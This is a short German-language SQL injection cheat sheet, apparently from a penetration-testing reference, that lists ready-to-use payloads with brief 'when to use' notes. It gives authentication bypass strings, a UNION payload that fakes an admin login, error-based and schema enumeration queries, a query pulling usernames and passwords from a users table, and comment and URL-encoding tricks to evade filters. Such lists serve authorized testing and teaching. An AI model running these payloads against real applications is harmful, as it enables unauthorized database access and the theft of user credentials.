SQL Injection Cheatsheet

Ziel: SQL Injection nutzt unsichere Datenbankabfragen aus, um unautorisierte Informationen zu lesen, Daten zu manipulieren oder vollständigen Zugriff auf die Datenbank zu erhalten.

Einfache Payloads

Diese Payloads prüfen, ob eine Eingabe in der SQL-Abfrage ungefiltert genutzt wird. Wann nutzen? Wenn Formulareingaben oder URL-Parameter direkt in SQL eingebaut werden.

  • Authentication Bypass

' OR '1'='1
' OR 1=1 --
  • Dynamischer Benutzer-Bypass

' UNION SELECT 1, 'admin', 'password' --

Erklärung: Erstellt eine neue gefälschte Benutzerantwort (z. B. admin), die als gültige Anmeldung akzeptiert wird.

  • Union-Based Injection: Fügt zusätzliche Datenbankabfragen hinzu.

' UNION SELECT NULL, NULL, NULL --
  • Error-Based Injection: Löst Fehler aus, um Datenbankinformationen zu extrahieren.

' AND 1=CAST((SELECT COUNT(*) FROM information_schema.tables) AS INT) --

Fingerprinting der Datenbank

Wann nutzen? Wenn du herausfinden möchtest, welche Art von Datenbank (MySQL, PostgreSQL, MSSQL) hinter der Anwendung steht.

  • Datenbankversion

SELECT @@version;  -- MySQL
SELECT version();  -- PostgreSQL
  • Benutzer und Rollen

SELECT user();

Datenextraktion

Wann nutzen? Um die Struktur der Datenbank zu verstehen und sensible Daten zu extrahieren.

  • Tabellen anzeigen

SELECT table_name FROM information_schema.tables WHERE table_schema='public';
  • Spalten anzeigen

SELECT column_name FROM information_schema.columns WHERE table_name='users';
  • Daten extrahieren

SELECT username, password FROM users;

Filterumgehung

  • Kommentare: Beenden SQL-Abfragen, um sie zu manipulieren.

--
#
  • Encoding: Umgehen Filter durch URL-Encoding.

%27%20OR%201%3D1--

Last updated